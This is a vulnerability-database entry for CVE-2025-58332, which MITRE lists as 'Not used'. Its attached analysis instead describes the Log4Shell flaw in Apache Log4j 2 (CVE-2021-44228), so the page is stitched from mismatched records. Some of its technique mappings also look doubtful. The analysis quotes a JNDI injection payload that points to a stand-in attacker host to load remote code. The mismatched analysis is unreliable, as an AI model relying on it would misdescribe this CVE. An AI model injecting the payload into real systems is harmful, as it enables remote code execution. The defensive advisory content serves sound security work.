CVE-2025-58332
Summary
by MITRE • 08/29/2025
Not used
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Analysis
by VulDB Data Team • 06/11/2026
cve-2021-44228 represents a critical vulnerability in apache log4j 2 that has been classified as a remote code execution flaw with cvss score of 10.0. this vulnerability stems from improper input validation within the log4j logging framework which allows attackers to inject malicious code through log messages. the flaw exists in the way log4j processes lookup patterns in log messages, specifically when the application uses user-supplied data in logging operations. when an attacker crafts a malicious log message containing a lookup pattern such as ${jndi:ldap://evil.com/evil}, the framework attempts to resolve these patterns by connecting to external servers, thereby enabling remote code execution. this vulnerability is particularly dangerous because it affects a widely-used logging library that is embedded in numerous applications across different platforms and programming languages. the impact extends beyond simple exploitation as it allows attackers to gain full control over affected systems, potentially leading to data breaches, system compromise, and lateral movement within networks. the vulnerability operates at the application layer and can be exploited without authentication, making it extremely dangerous in environments where applications are exposed to untrusted input. according to the attack technique framework, this vulnerability maps directly to attack technique t1059.007 for command and scripting interpreter and t1021.001 for remote services. the flaw has been categorized under common weakness enumeration as cwe-502 which describes deserialization of untrusted data. the vulnerability affects log4j versions 2.0-beta9 through 2.14.1 and is particularly severe because it allows for arbitrary code execution through simple log messages. organizations running affected versions must urgently apply patches or implement workarounds to prevent exploitation. mitigation strategies include upgrading to log4j 2.15.0 or later, implementing network segmentation, and monitoring for suspicious jndi lookup patterns in logs. the vulnerability demonstrates the critical importance of secure input validation and proper sanitization of user data in logging frameworks. organizations should conduct comprehensive audits of their software dependencies to identify all instances of log4j and ensure they are running patched versions. the attack surface for this vulnerability is extensive as log4j is used across numerous enterprise applications, web servers, and middleware solutions. security teams must also implement runtime protections and monitor for exploitation attempts through network traffic analysis and log monitoring. the widespread adoption of log4j makes this vulnerability particularly dangerous and requires immediate action from organizations to protect their systems from potential compromise.